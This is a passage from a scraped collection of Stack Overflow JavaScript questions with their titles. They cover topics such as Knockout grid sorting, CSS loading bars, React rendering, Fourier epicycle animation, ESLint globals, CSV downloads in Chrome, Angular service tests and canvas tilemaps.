, '' Manufacturer '' : '' Rover '' , '' Model '' : '' Montego '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :22 , '' Manufacturer '' : '' Opel '' , '' Model '' : '' Monza '' , '' Style '' : '' Coupe '' } , { `` SampleDataId '' :23 , '' Manufacturer '' : '' BMW '' , '' Model '' : '' 325i '' , '' Style '' : '' Saloon '' } ] , '' VisibleColumns '' : [ ] } ) ; ko.applyBindings ( vm , document.getElementById ( `` Knockout '' ) ) ; < /script >",Uncaught TypeError : grid.sortedData.peek ( ... ) .filter is not a function "JS : I am trying to create a loading bar during a very intensive period of JavaScript where some pretty heavy 3d arrays are built and filled . This loading bar needs to remain empty until the user clicks a button . The freezing occurs whether or not I 'm using -webkit-transition ( This app can be chrome exclusive , cross browser is not necessary in my case ) .Seeking simplicity I 've built my bar like this ... ... and then sought to increment that bar at various stages of my main for loop : Problem is that everything freezes until the JavaScript finishes . I found a similar question on Stack Overflow , Using CSS animation while javascript computes , and in the comments found and considered and/or tried the following : Web WorkersDo n't think it 'll work since my script is filling an array with objects and constructors containing functions which according to this site is n't going to workjQueryNot an option , I ca n't use external libraries in my app - in any case , importing a whole library just for a loading bar seems kind of like overkill ... KeyframesThis was promising and I tried it , but in the end it freezes also , so no joytimeOut ( ) sThought about this , but since the point of the loading bar is to reduce frustration , increasing the waiting time seems counter-productiveI 'd be happy to have any incrementation of the bar at this stage , even if it 's not smooth ! I 'm pretty sure this is a problem that has struck more than just me - maybe someone has an interesting solution ? P.S . : I 'm posting this as a new question rather than adding to the referenced question since I 'm specifically seeking help with JavaScript ( not jQuery ) and would prefer if I could get it using a transition ( ! =animation ) on the width . < div id= '' loader '' > < div id= '' thumb '' > < /div > < /div > for ( i = 0 ; i < 5 ; i++ ) { document.getElementById ( 'thumb ' ) .style.width = i*25 + ' % ' ; //More Code }",CSS transitions blocked by JavaScript "JS : I am new to ReactJs and the issue that I am having is that the array value is not being displayed on the bodyMy goal is to append to the body the two array values . class App extends React.Component { render ( ) { let arr = [ `` one '' , `` two '' ] arr.map ( n = > < Append val= { n } / > ) return < div > < /div > } } class Append extends React.Component { render ( ) { return ( < div > { this.props.val } < /div > ) } } ReactDOM.render ( < App / > , document.getElementById ( `` div '' ) )",Passing array value from one class to another "JS : After reading about the defer attribute at mdn This Boolean attribute is set to indicate to a browser that the script is meant to be executed after the document has been parsed.It looks nice.So I 've tested it against $ ( function ( ) { } ) ; and $ ( window ) .load ( ... ) This code Always output 4,1,2 ! Ok So now I can recognize the time where the document is parsed . In what scenarious will i need the stage before document.ready ( where the parse time complete ) ? < script > $ ( function ( ) { alert ( ' 1 ' ) } ) ; $ ( window ) .load ( function ( ) { alert ( ' 2 ' ) } ) ; < /script > < script defer= '' defer '' > alert ( ' 4 ' ) ; < /script >",Javascript [ defer ] attribute and document.ready ? "JS : First Note : They wont let me embed images until i have more reputation points ( sorry ) , but all the links are images posted on imgur ! : ) thanksI have replicated a method to animate any single path ( 1 closed path ) using fourier transforms . This creates an animation of epicylces ( rotating circles ) which rotate around each other , and follow the imputed points , tracing the path as a continuous loop/function.I would like to adopt this system to 3D . the two methods i can think of to achieve this is to use a Spherical Coordinate system ( two complex planes ) or 3 Epicycles -- > one for each axis ( x , y , z ) with their individual parametric equations . This is probably the best way to start ! ! 2 Cycles , One for X and one for Y : Picture : One Cycle -- > Complex Numbers -- > For X and Y Fourier Transformation Background ! ! ! : • Eulers formula allows us to decompose each point in the complex plane into an angle ( the argument to the exponential function ) and an amplitude ( Cn coefficients ) • In this sense , there is a connection to imaging each term in the infinite series above as representing a point on a circle with radius cn , offset by 2πnt/T radians• The image below shows how a sum of complex numbers in terms of phases/amplitudes can be visualized as a set of concatenated cirlces in the complex plane . Each red line is a vector representing a term in the sequence of sums : cne2πi ( nT ) t• Adding the summands corresponds to simply concatenating each of these red vectors in complex space : Animated Rotating Circles : Circles to Animated Drawings : • If you have a line drawing in 2D ( x-y ) space , you can describe this path mathematically as a parametric function . ( two separate single variable functions , both in terms of an auxiliary variable ( T in this case ) : • For example , below is a simple line drawing of a horse , and a parametric path through the black pixels in image , and that path then seperated into its X and Y components : • At this point , we need to calculate the Fourier approximations of these two paths , and use coefficients from this approximation to determine the phase and amplitudes of the circles needed for the final visualization.Python Code : The python code used for this example can be found here on guithubI have successful animated this process in 2D , but i would like to adopt this to 3D.The Following Code Represents Animations in 2D -- > something I already have working : [ Using JavaScript & P5.js library ] The Fourier Algorithm ( fourier.js ) : The Sketch Function/ Animations ( Sketch.js ) : And Most Importantly ! THE PATH / COORDINATES : ( this one is a triangle ) // a + biclass Complex { constructor ( a , b ) { this.re = a ; this.im = b ; } add ( c ) { this.re += c.re ; this.im += c.im ; } mult ( c ) { const re = this.re * c.re - this.im * c.im ; const im = this.re * c.im + this.im * c.re ; return new Complex ( re , im ) ; } } function dft ( x ) { const X = [ ] ; const Values = [ ] ; const N = x.length ; for ( let k = 0 ; k < N ; k++ ) { let sum = new Complex ( 0 , 0 ) ; for ( let n = 0 ; n < N ; n++ ) { const phi = ( TWO_PI * k * n ) / N ; const c = new Complex ( cos ( phi ) , -sin ( phi ) ) ; sum.add ( x [ n ] .mult ( c ) ) ; } sum.re = sum.re / N ; sum.im = sum.im / N ; let freq = k ; let amp = sqrt ( sum.re * sum.re + sum.im * sum.im ) ; let phase = atan2 ( sum.im , sum.re ) ; X [ k ] = { re : sum.re , im : sum.im , freq , amp , phase } ; Values [ k ] = { phase } ; console.log ( Values [ k ] ) ; } return X ; } let x = [ ] ; let fourierX ; let time = 0 ; let path = [ ] ; function setup ( ) { createCanvas ( 800 , 600 ) ; const skip = 1 ; for ( let i = 0 ; i < drawing.length ; i += skip ) { const c = new Complex ( drawing [ i ] .x , drawing [ i ] .y ) ; x.push ( c ) ; } fourierX = dft ( x ) ; fourierX.sort ( ( a , b ) = > b.amp - a.amp ) ; } function epicycles ( x , y , rotation , fourier ) { for ( let i = 0 ; i < fourier.length ; i++ ) { let prevx = x ; let prevy = y ; let freq = fourier [ i ] .freq ; let radius = fourier [ i ] .amp ; let phase = fourier [ i ] .phase ; x += radius * cos ( freq * time + phase + rotation ) ; y += radius * sin ( freq * time + phase + rotation ) ; stroke ( 255 , 100 ) ; noFill ( ) ; ellipse ( prevx , prevy , radius * 2 ) ; stroke ( 255 ) ; line ( prevx , prevy , x , y ) ; } return createVector ( x , y ) ; } function draw ( ) { background ( 0 ) ; let v = epicycles ( width / 2 , height / 2 , 0 , fourierX ) ; path.unshift ( v ) ; beginShape ( ) ; noFill ( ) ; for ( let i = 0 ; i < path.length ; i++ ) { vertex ( path [ i ] .x , path [ i ] .y ) ; } endShape ( ) ; const dt = TWO_PI / fourierX.length ; time += dt ; let drawing = [ { y : -8.001009734 , x : -50 } , { y : -7.680969345 , x : -49 } , { y : -7.360928956 , x : -48 } , { y : -7.040888566 , x : -47 } , { y : -6.720848177 , x : -46 } , { y : -6.400807788 , x : -45 } , { y : -6.080767398 , x : -44 } , { y : -5.760727009 , x : -43 } , { y : -5.440686619 , x : -42 } , { y : -5.12064623 , x : -41 } , { y : -4.800605841 , x : -40 } , ... ... { y : -8.001009734 , x : -47 } , { y : -8.001009734 , x : -48 } , { y : -8.001009734 , x : -49 } , ] ;",Drawing/Rendering 3D objects with epicycles and fourier transformations [ Animation ] "JS : I get the following eslint error : You can not import WebSocket from react-native because it 's a global , but when I add WebSocket as globals to my .eslintrc.yml it does n't change the outcome of the error : How do I define WebSocket as a global in ES Lint for a React Native app ? Can this be fixed ? Currently my .eslintrc looks like this : I can get rid of it using the inline commentAlso when I do n't inherit from the airbnb eslint , but I ca n't figure out which lint rule in Airbnb is responsible for blocking this . 42:21 error 'WebSocket ' is not defined no-undef globals : WebSocket : true env : browser : false es6 : true commonjs : true node : trueextends : 'airbnb'parser : babel-eslintglobals : WebSocket : trueparserOptions : ecmaFeatures : experimentalObjectRestSpread : true jsx : true sourceType : moduleplugins : - react - react-nativerules : indent : - error - tab - { `` SwitchCase '' : 1 } linebreak-style : - error - unix quotes : - error - double semi : - error - never no-tabs : off max-len : off no-console : off no-plusplus : off global-require : off import/no-unresolved : off import/extensions : off class-methods-use-this : off react/jsx-no-bind : off react/forbid-prop-types : off react/prefer-stateless-function : off react/jsx-indent : [ 2 , 'tab ' ] react/jsx-indent-props : [ 2 , 'tab ' ] react/jsx-filename-extension : [ 1 , { extensions : [ '.js ' , '.jsx ' ] } ] react/jsx-uses-react : error react/jsx-uses-vars : error react-native/no-unused-styles : 2 react-native/split-platform-components : 2 react-native/no-inline-styles : off react-native/no-color-literals : off /* globals WebSocket : true */",Define WebSocket as a global in ES Lint for a React Native app "JS : How do I remove one item based on both the courseID and endDate from the following javascript object ? window.MyCheckedCourses = [ { courseID : '123 ' , endDate : ' 6/7/2010 ' } , { courseID : '123 ' , endDate : ' 3/9/2003 ' } , { courseID : '456 ' , endDate : ' 3/9/2003 ' } ] ;",Remove a Single Object from a Javascript Object "JS : I have 2 divs ( left and right ) and i want to scroll the left based on the right.https : //jsfiddle.net/3jdsazhg/2/This works fine on desktop , but when i change to mobile , it 's not smooth anymore ... This can be noticed very easily , by changing toWhere it should act as a fixed positioned divI would like to know the exact reason why this is n't smooth ... I know that it 's not the animation . Simple animation on the div is smooth , the issue comes up when it 's based on scroll.How can i make this animation smooth ? _left.style.top = _content.scrollTop - ( _content.scrollTop * ratioLeftRight ) + 'px ' ; _left.style.top = _content.scrollTop + 'px ' ;",JavaScript scroll based animation is choppy on mobile "JS : So I parse through a document in order to grab all the headings with stackHeadings ( ) . I do this in order to build a Microsoft Word style document map with buildNav ( ) . This currently works OK but its not very robust and breaks anytime the headings do not follow a strict order ... e.g . ( If you start with an H2 it breaks , if you nest a H3 under and H1 it breaks , etc ... ) I ca n't quite figure out the best way to fix this ( make it more robust ) . I 'm taking advantage of jQuery 's ` nextUntil ' function to find all the h2s between two h1s.One possibility is replacing : withto find ALL subheadings between two headings of the same level . But now h3 children of h1s would only be nested one level rather than two.So then you 'd have to compare the current heading level with the parent heading level , and if there 's a jump of more than one ( h1 - > h3 ) , you 'd have to create an empty child between them as a nesting placeholder for the missing h2.Any ideas or solutions would be greatly appreciated ! elem.nextUntil ( ' h ' + cur , ' h ' + next ) elem.nextUntil ( ' h ' + cur , ' h ' + next + ' , h ' + ( next + 1 ) + ' , h ' + ( next + 2 ) ... ) stackHeadings = ( items , cur , counter ) - > cur = 1 if cur == undefined counter ? = 1 next = cur + 1 for elem , index in items elem = $ ( elem ) children = filterHeadlines ( elem.nextUntil ( ' h ' + cur , ' h ' + next ) ) d.children = stackHeadings ( children , next , counter ) if children.length > 0 dfilterHeadlines = ( $ hs ) - > _.filter ( $ hs , ( h ) - > $ ( h ) .text ( ) .match ( / [ ^\s ] / ) ) buildNav = ( ul , items ) - > for child , index in items li = $ ( `` < li > '' ) $ ( ul ) .append ( li ) $ a = $ ( `` < a/ > '' ) $ a.attr ( `` id '' , `` nav-title- '' + child.id ) li.append ( $ a ) if child.children subUl = document.createElement ( 'ul ' ) li.append ( subUl ) buildNav ( subUl , child.children ) items = stackHeadings ( filterHeadlines ( source.find ( 'h1 ' ) ) ) ul = $ ( ' < ul > ' ) buildNav ( ul , items )",how to robustly parse a document for any headings and build a < ul > tree of just those headings "JS : I 've looked at several github issues and similar posts , and I ca n't figure this out . I have here my routes : Here are the links of interest : The links load just fine , but they never get the active class CSS . Only the first route on load gets it and nothing else . Anybody have any ideas ? < Router history= { browserHistory } > < Route path='/ ' component= { Main } > < IndexRoute component= { Landing } / > < Route path='login ' component= { LoginContainer } / > < Route path='user ' component= { UserContainer } onEnter= { checkAuth } > < Route path='home ' component= { HomeContainer } / > < Route path='settings ' component= { SettingsContainer } / > < Route path='doc_attributes ' component= { AttributesContainer } / > < Route path='groups ' component= { GroupsContainer } / > < Route path='rules ' component= { RulesContainer } / > < /Route > < Route path='/dropbox/auth_finish ' onEnter= { doDropbox } / > < Route path='/box/auth_finish ' onEnter= { doBox } / > < Route path='/googledrive/auth_finish ' onEnter= { doGDrive } / > < Route path='/onedrive/auth_finish ' onEnter= { doOneDrive } / > < /Route > < /Router > < li > < Link to='/user/home ' activeClassName= '' activeLink '' > < i className= '' fa fa-home fa-3x fa-fw '' aria-hidden= '' true '' > < /i > < /Link > < /li > < li > < Link to='/user/settings ' activeClassName= '' activeLink '' > < i className= '' fa fa-wrench fa-3x fa-fw '' aria-hidden= '' true '' > < /i > < /Link > < /li > < li > < Link to='/user/groups ' activeClassName= '' activeLink '' > < i className= '' fa fa-users fa-3x fa-fw '' aria-hidden= '' true '' > < /i > < /Link > < /li > < li > < Link to='/user/rules ' activeClassName= '' activeLink '' > < i className= '' fa fa-tasks fa-3x fa-fw '' aria-hidden= '' true '' > < /i > < /Link > < /li >",React-Router active class is not working for nested routes "JS : Say I have the following DOM element in my piece of code : Suppose I wanted to traverse through the contents of div # t2. $ ( `` # t2 '' ) .children ( ) gives me the < b > and < p > tags.So how should I access it to get the values as an array containing `` Hi I am '' , `` < b > ... . < /b > '' , `` and am 20 years old . `` , `` < p > ... .. < /p > ? ? < div id= '' test '' > < div id= '' t2 '' > Hi I am < b > Gopi < /b > and am 20 years old . < p id= '' div2 '' > < button onclick= '' alert ( 'lol ' ) '' > Check < /button > < /p > < /div > < /div >",accessing DOM elements by jQuery "JS : Firebug represents ( new Array ( N ) ) as an array with N undefineds in it . I recently ran across a scenario that demonstrated that a sized array with all undefined values in it is different from a newly constructed , sized array . I 'd like to understand the difference.Suppose you want to generate a list of random integers between 0 and 1000.I would have expected no_random_numbers and my_random_numbers to be equivalent , but they 're not . no_random_numbers is another array of undefineds , whereas my_random_numbers is an array with six random integers in it . Furthermore , after throwing a console.count statement into kilorange , I learned that my function never gets called for the array created with the Array constructor.What is the difference , and why does map ( and presumably other iterable methods ) not treat the above arrays the same ? function kilorange ( ) { return Math.floor ( Math.random ( ) * ( 1001 ) ) ; } no_random_numbers = ( new Array ( 6 ) ) .map ( kilorange ) ; my_random_numbers = [ undefined , undefined , undefined , undefined , undefined , undefined ] .map ( kilorange ) ;",Why presize a JavaScript Array ? "JS : I have a async queue that I am pushing to which will do something . The way I generate the items that I need to push into the is by going through a few nested lists form a data object . The queue ends up processing everything but for some reason I ca n't get to my main callback with the console.log ( 'All done. ' ) . I 've remove most the the unnecessary stuff and just left async stuff . What am I doing wrong ? Am I missing something ? var q = async.queue ( function ( task , callback ) { console.log ( 'hello ' + task ) ; callback ( ) ; } , 2 ) ; function A ( data ) { B ( data , function ( ) { // THIS IS N'T getting called . console.log ( 'All done . ' ) ; } ) } function B ( data , callback1 ) { var list = [ [ 1,2 ] , [ 3,4 ] , [ 5,6 ] ] ; async.each ( list , function ( item , callback1 ) { async.each ( item , function ( i , callback2 ) { doWork ( i , function ( ) { console.log ( 'Work done ' ) ; } ) callback2 ( ) ; } , // THIS should be called when everything in this each is done . callback1 ) } ) } function doWork ( i , callback3 ) { q.push ( i , callback3 ) ; }",Nested async loop pushing to a async queue not calling main callback "JS : I 'm using WebGrid to display data on client side , canSort : true is set.The view code is : I 'm able to sort data by clicking column headers.Problem : How can someone asynchronously sort the WebGrid using Ajax ? @ model UI.Models.TestModel @ if ( Model.listTestModel ! = null ) { var grid = new WebGrid ( Model.listTestModel , null , defaultSort : `` ColumnA '' , rowsPerPage : 25 , canPage : true , canSort : true ) ; @ grid.GetHtml ( mode : WebGridPagerModes.All , columns : grid.Columns ( grid.Column ( columnName : `` ColumnA '' , header : `` ColumnA '' ) , grid.Column ( columnName : `` ColumnB '' , header : `` ColumnB '' ) ) ) }",Asynchronously sort GridView in ASP.NET MVC using Ajax "JS : The question is to specify two different colors based on the Value or weight of the link using networkD3 : :forceNetwork in R. For example , Blue for the weight of links more than 1 , dark for the weight of links less than 1 . Example code , copied from here ( the forceNetwork section ) : A d3-js related question is here ( I know nothing about JS so far ) . library ( networkD3 ) # Load datadata ( MisLinks ) data ( MisNodes ) # PlotforceNetwork ( Links = MisLinks , Nodes = MisNodes , Source = `` source '' , Target = `` target '' , Value = `` value '' , NodeID = `` name '' , Group = `` group '' , opacity = 0.8 )","Specify colors for each link in a force directed network , networkD3 : :forceNetwork ( )" "JS : Chrome 72+ is now truncating our data at the first sign of a # character.https : //bugs.chromium.org/p/chromium/issues/detail ? id=123004 # c107We have been using a temp anchor tag along with the download attribute and href attribute with a csv string to download a csv of data on the page to the user 's machines . This is now broken in a recent Chrome update because all data after the first # sign is stripped from the downloaded csv.We can work around it by replacing the # with `` num `` or other data , but that leaves our csv/excel files with different data which we 'd like to avoid.Is there any work around we can do to prevent chrome from stripping out the data in the href when downloading the file ? I tried replacing the # with a unicode character of ⌗ which was close enough , and looked fine in the CSV , but Excel did not like the unicode characters let csvContent = `` data : text/csv ; charset=utf-8 , '' ; let header = `` Col1 , Col2 , Col3 '' ; csvContent += header + `` \r\n '' ; csvContent += `` ac , 123 , info here '' + `` \r\n '' ; csvContent += `` dfe , 432 , # 2 I break '' + `` \r\n '' ; csvContent += `` fds , 544 , I 'm lost due to previous number sign '' ; var encodedUri = encodeURI ( csvContent ) ; var link = document.createElement ( `` a '' ) ; link.setAttribute ( `` href '' , encodedUri ) ; link.setAttribute ( `` download '' , `` file.csv '' ) ; document.body.appendChild ( link ) ; link.click ( ) ;",How to download CSV using a href with a # ( number sign ) in Chrome ? "JS : I have translated the code from javascript to c # which can be found by going to this excellent demo at http : //fractal.qfox.nl/dragon.js My translation is intended to produce just a single dragon upon clicking the button but I think I have missed something in my version.See the Wikipedia article : Dragon Curve for more information.Incomplete dragon fractal output : Code : public partial class MainPage : UserControl { PointCollection pc ; Int32 [ ] pattern = new Int32 [ ] { 1 , 1 , 0 , 2 , 1 , 0 , 0 , 3 } ; Int32 [ ] position = new Int32 [ ] { 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 } ; Boolean toggle ; Char r = default ( Char ) ; Int32 distance = 10 ; // line length Int32 step = 100 ; // paints per step Int32 skip = 10 ; // folds per paint Double x = 0 ; Double y = 0 ; Int32 a = 90 ; public MainPage ( ) { InitializeComponent ( ) ; } private void btnFire_Click ( object sender , RoutedEventArgs e ) { x = canvas.ActualWidth / 3 ; y = canvas.ActualHeight / 1.5 ; pc = new PointCollection ( ) ; var n = step ; while ( -- n > 0 ) { List < Char > s = getS ( skip ) ; draw ( s ) ; } Polyline p = new Polyline ( ) ; p.Stroke = new SolidColorBrush ( Colors.Red ) ; p.StrokeThickness = 0.5 ; p.Points = pc ; canvas.Children.Add ( p ) ; } List < Char > getS ( Int32 n ) { List < Char > s1 = new List < Char > ( ) ; while ( n -- > 0 ) s1.Add ( getNext ( 0 ) ) ; return s1 ; } void draw ( List < Char > s ) { pc.Add ( new Point ( x , y ) ) ; for ( Int32 i = 0 , n = s.Count ; i < n ; i++ ) { pc.Add ( new Point ( x , y ) ) ; Int32 j ; if ( int.TryParse ( s [ i ] .ToString ( ) , out j ) & & j ! = 0 ) { if ( ( a + 90 ) % 360 ! = 0 ) { a = ( a + 90 ) % 360 ; } else { a = 360 ; // Right } } else { if ( a - 90 ! = 0 ) { a = a - 90 ; } else { a = 360 ; // Right } } // new target if ( a == 0 || a == 360 ) { y -= distance ; } else if ( a == 90 ) { x += distance ; } else if ( a == 180 ) { y += distance ; } else if ( a == 270 ) { x -= distance ; } // move pc.Add ( new Point ( x , y ) ) ; } } Char getNext ( Int32 n ) { if ( position [ n ] == 7 ) { r = getNext ( n + 1 ) ; position [ n ] = 0 ; } else { var x = position [ n ] > 0 ? pattern [ position [ n ] ] : pattern [ 0 ] ; switch ( x ) { case 0 : r = ' 0 ' ; break ; case 1 : r = ' 1 ' ; break ; case 2 : if ( ! toggle ) { r = ' 1 ' ; } else { r = ' 0 ' ; } toggle = ! toggle ; break ; } position [ n ] = position [ n ] + 1 ; } return r ; } }",Why is my dragon fractal incomplete "JS : Im trying to test a simple service in my angular app , using jasmine/karma/phantomJS . jasmine version : 2.4.1angular/angular-mocks : 1.5.7phantomJS : 2.1.1QueryParameters.service.tests.js : ( QueryParameters.service.js is part of the app.service module , and is actually a factory , not a service ) QueryParametersService.js : In Gruntfile.js : my main module ( in app.js ) is declared like this : The error im getting when running the tests : Where am I going wrong here ? describe ( 'myApp.QueryParametersService ' , function ( ) { var QueryParametersService ; beforeEach ( module ( 'myApp ' ) ) ; beforeEach ( module ( 'app.service ' ) ) ; beforeEach ( inject ( function ( $ injector ) { QueryParametersService = $ injector.get ( 'QueryParametersService ' ) ; } ) ) ; var testObject = { name : 'Hans ' , age : '27 ' } ; it ( 'Should output correct querystrings ' , function ( ) { expect ( QueryParametersService.toQueryParams ( testObject ) ) .toBe ( ' ? name=Hans & age=27 ' ) ; } ) ; } ) ; ( function ( ) { 'use strict ' ; angular.module ( 'app.service ' ) .factory ( 'QueryParametersService ' , QueryParametersService ) ; QueryParametersService. $ inject = [ ] ; function QueryParametersService ( ) { var service = { toQueryParams : toQueryParams } ; return service ; function toQueryParams ( queryObject ) { < removed code here > } } } ) ( ) ; karma : { unit : { options : { frameworks : [ 'jasmine ' ] , singleRun : true , browsers : [ 'PhantomJS ' ] , files : [ ' < % = yeoman.client % > /bower_components/angular/angular.js ' , ' < % = yeoman.client % > /bower_components/angular-mocks/angular-mocks.js ' , ' < % = yeoman.client % > /app/app.js ' , ' < % = yeoman.client % > /app/filters/filter.module.js ' , ' < % = yeoman.client % > /app/directives/directive.module.js ' , ' < % = yeoman.client % > /app/services/service.module.js ' , ' < % = yeoman.client % > /app/services/tests/*.js ' ] } } } angular.module ( 'myApp ' , [ 'angular-thumbnails ' , 'angularUtils.directives.dirPagination ' , 'app.directive ' , 'app.filter ' , 'app.service ' , 'color.picker ' , 'ngCookies ' , 'ngFileUpload ' , 'ngImgCrop ' , 'ngMaterial ' , 'ngMessages ' , 'ngResource ' , 'ngSanitize ' , 'ui.router ' , 'validation.match ' , ] ) PhantomJS 2.1.1 ( Mac OS X 0.0.0 ) myApp.QueryParametersService Should output correct querystrings FAILED / < filepath > /client/bower_components/angular/angular.js:4632:53 forEach @ / < filepath > /client/bower_components/angular/angular.js:321:24 loadModules @ / < filepath > /client/bower_components/angular/angular.js:4592:12 createInjector @ / < filepath > /client/bower_components/angular/angular.js:4514:30 workFn @ / < filepath > /client/bower_components/angular-mocks/angular-mocks.js:3067:60 TypeError : undefined is not an object ( evaluating 'QueryParametersService.toQueryParams ' ) in / < filepath > /client/app/services/tests/query-parameters.service.tests.js ( line 65 ) / < filepath > /client/app/services/tests/query-parameters.service.tests.js:65:34PhantomJS 2.1.1 ( Mac OS X 0.0.0 ) : Executed 1 of 1 ( 1 FAILED ) ERROR ( 0.002 secs / 0.009 secs )",Testing service with angular-mocks/jasmine - TypeError : undefined is not an object "JS : Following is the sample gruntjs from http : //gruntjs.com/getting-startedIt then mentioned : Because < % % > template strings may reference any config properties , configuration data like filepaths and file lists may be specified this way to reduce repetition.My question : What does this < % = % > mean ? Is it a gruntjs syntax or used universally elsewhere ? Where can I find its definition ? What 's your general approach for searching explanations of cryptic symbols ? If I search in google/stackoverflow these strings ( `` < % = '' , `` < % '' , including quote or not ) , basically no reasonable results would come up . module.exports = function ( grunt ) { // Project configuration . grunt.initConfig ( { pkg : grunt.file.readJSON ( 'package.json ' ) , uglify : { options : { banner : '/* ! < % = pkg.name % > < % = grunt.template.today ( `` yyyy-mm-dd '' ) % > */\n ' } , build : { src : 'src/ < % = pkg.name % > .js ' , dest : 'build/ < % = pkg.name % > .min.js ' } } } ) ; // Load the plugin that provides the `` uglify '' task . grunt.loadNpmTasks ( 'grunt-contrib-uglify ' ) ; // Default task ( s ) . grunt.registerTask ( 'default ' , [ 'uglify ' ] ) ; } ;",gruntjs understanding the syntax - < % = less than percentage symbol "JS : Is it possible to do this : I can figure it out on a raw object , but not when creating a new instance of an object . This is what I am running into : When I call the constructor , I want to pass in special options - not what nail to hit . However , when I call it later , I want to pass in a nail . I 'm missing something . var hammer = new Hammer ( ) ; // create a new instancehammer ( nail ) ; // really call Hammer.prototoype.hit ( object ) ; function Hammer ( options ) { this.config = options.blah ; this.hit ( /* ? */ ) ; return this ; } Hammer.prototype.hit = function ( obj ) { // ... }",JS run function from constructor after object instantiation "JS : I 've yet to find decent documentation detailing how to migrate from Angular 1.x to Aurelia . So far , I 've only seen folks detailing how the concept of an Angular directive can be remade in Aurelia using @ customElement . Okay , simple enough . But these examples always , always just mock data . That said , Angular Services are singletons that can be injected into any controller/directive/service , and typically allows for the fetching of data from a server ( i.e . PersonService , OrdersService ) . But how are these data services modeled in Aurelia ? Is everything just a class ? It seems like it.Essentially , I 'd to see some code samples , a hello-world , that effectively fetches data from a service , and provides it to a @ customElement . Where do the HTTP calls go ? How do we even make HTTP calls ? Angular uses $ http , what about Aurelia ? EDIT : Here 's a simple angular service . How would one attack this in Aurelia ? app.service ( 'SomeDataService ' , function ( ) { return { getMyData : function ( options ) { return $ .ajax ( options ) ; } } } ) ;",Angular Service in Aurelia ? "JS : I 'm trying to create an infinite looping canvas based on a main 'grid ' . Scaled down fiddle here with the grid in the centre of the viewport . JS Fiddle hereIn the fiddle I have my main grid of coloured squares in the centre , I want them tiled infinitely in all directions . Obviously this is n't realistically possible , so I want to give the illusion of infinite by just redrawing the grids based on the scroll direction . I found some good articles : https : //developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps/Square_tilemaps_implementation : _Scrolling_maps https : //gamedev.stackexchange.com/questions/71583/html5-dynamic-canvas-grid-for-scrolling-a-big-mapAnd the best route seems to be to get the drag direction and then reset camera to that point , so the layers scroll under the main canvas viewport , thus meaning the camera can never reach the edge of the main viewport canvas . I 've worked on adding some event listeners for mouse drags : Fiddle with mouse eventsBut I ca n't reliably work out the co-ordinates for each direction and then how to reset the camera position . var bMouseDown = false ; var oPreviousCoords = { ' x ' : 0 , ' y ' : 0 } var oDelta ; var oEndCoords ; var newLayerTop ; $ ( document ) .on ( 'mousedown ' , function ( oEvent ) { bMouseDown = true ; oPreviousCoords = { ' x ' : oEvent.pageX , ' y ' : oEvent.pageY } } ) ; $ ( document ) .on ( 'mouseup ' , function ( oEvent ) { bMouseDown = false ; oPreviousCoords = { ' x ' : oEvent.pageX , ' y ' : oEvent.pageY } oEndCoords = oDelta if ( oEndCoords.y < -300 ) { if ( newLayerTop ) { newLayerTop.destroy ( ) ; } layerCurentPosition = layer.position ( ) ; newLayerTop = layer.clone ( ) ; newLayerTop.position ( { x : layerCurentPosition.x , y : layerCurentPosition.y -1960 } ) ; stage.add ( newLayerTop ) stage.batchDraw ( ) ; } } ) ; $ ( document ) .on ( 'mousemove ' , function ( oEvent ) { if ( ! bMouseDown ) { return ; } oDelta = { ' x ' : oPreviousCoords.x - oEvent.pageX , ' y ' : oPreviousCoords.y - oEvent.pageY } } ) ;",KonvaJS / HTML5 canvas infinite looping tilemap . Setting camera position "JS : I am very new to js overall so please be patient with me.I need to make a simple task which is stated in the topic . I have done some research and tried to make using ui.router but since I am not very good with coding something went wrong.I want that this information from url would be displayed inside the modal dialogue http : //prntscr.com/ashi5e So here is the code : angular.module ( 'plunker ' , [ 'ui.bootstrap ' ] ) ; var ModalDemoCtrl = function ( $ scope , $ modal , $ log ) { $ scope.open = function ( ) { var modalInstance = $ modal.open ( { templateUrl : 'myModalContent.html ' , controller : ModalInstanceCtrl , resolve : { items : function ( ) { return $ scope.items ; } } } ) ; } ; } ; var ModalInstanceCtrl = function ( $ scope , $ modalInstance , items ) { $ scope.cancel = function ( ) { $ modalInstance.dismiss ( 'cancel ' ) ; } ; } ; < ! doctype html > < html ng-app= '' plunker '' > < head > < script src= '' http : //ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js '' > < /script > < script src= '' http : //angular-ui.github.io/bootstrap/ui-bootstrap-tpls-0.6.0.js '' > < /script > < script src= '' js/example.js '' > < /script > < link href= '' //netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/css/bootstrap-combined.min.css '' rel= '' stylesheet '' > < /head > < body > < div ng-controller= '' ModalDemoCtrl '' > < script type= '' text/ng-template '' id= '' myModalContent.html '' > < div class= '' modal-header '' > < h3 > Log < /h3 > < /div > < div class= '' modal-body '' > Content < /div > < div class= '' modal-footer '' > < button class= '' btn btn-warning '' ng-click= '' cancel ( ) '' > Close < /button > < /div > < /script > < button class= '' btn '' ng-click= '' open ( ) '' > Log < /button > < /div > < /body > < /html >",How to display information inside modal from url ? JS : I have a sticky sidebar on my page using the following script : The problem is that it should stop scrolling when it reaches the Middle Block Div . At the moment it does n't stop scrolling and it pushes all the rest of the content down . Is there a way to fix this ? - DEMO -Thank you . $ ( function ( ) { var offset = $ ( `` # sidebar '' ) .offset ( ) ; var topPadding = 15 ; $ ( window ) .scroll ( function ( ) { if ( $ ( window ) .scrollTop ( ) > offset.top ) { $ ( `` # sidebar '' ) .stop ( ) .animate ( { marginTop : $ ( window ) .scrollTop ( ) - offset.top + topPadding } ) ; } else { $ ( `` # sidebar '' ) .stop ( ) .animate ( { marginTop : 0 } ) ; } ; } ) ; } ) ;,Sticky sidebar does n't stop scrolling "JS : Edit : For simplicity , and in order to try and make this question and the sample code more generic , I left out a detail . A detail which , in light of one of the responses ( which was great ) , turns out to be important . This system will be used primarily to show things within a date range . The low/high numbers in the code will often represent Unix timestamps the range of which could span weeks or months . End EditI have a page where I provide a view of data objects which have properties that fall within a certain range . As the user interacts with the view to change it , it generally is a sequential change to the range ( 0-9 , 10-19 ... ) . I am retrieving this data from the server , and as it comes in I cache it such that a subsequent request for data in that range is already available . On each read of the data , I first check to see if I have the cache data , and if not I read it from the server and adjust the cache.A crude , overly simplified example is here : This works great as long as the change in range really is sequential . However , I realized there is a way to change the view non-sequentially and skip a large set of values . So Let 's say I am currently showing for ranges 10-19 , 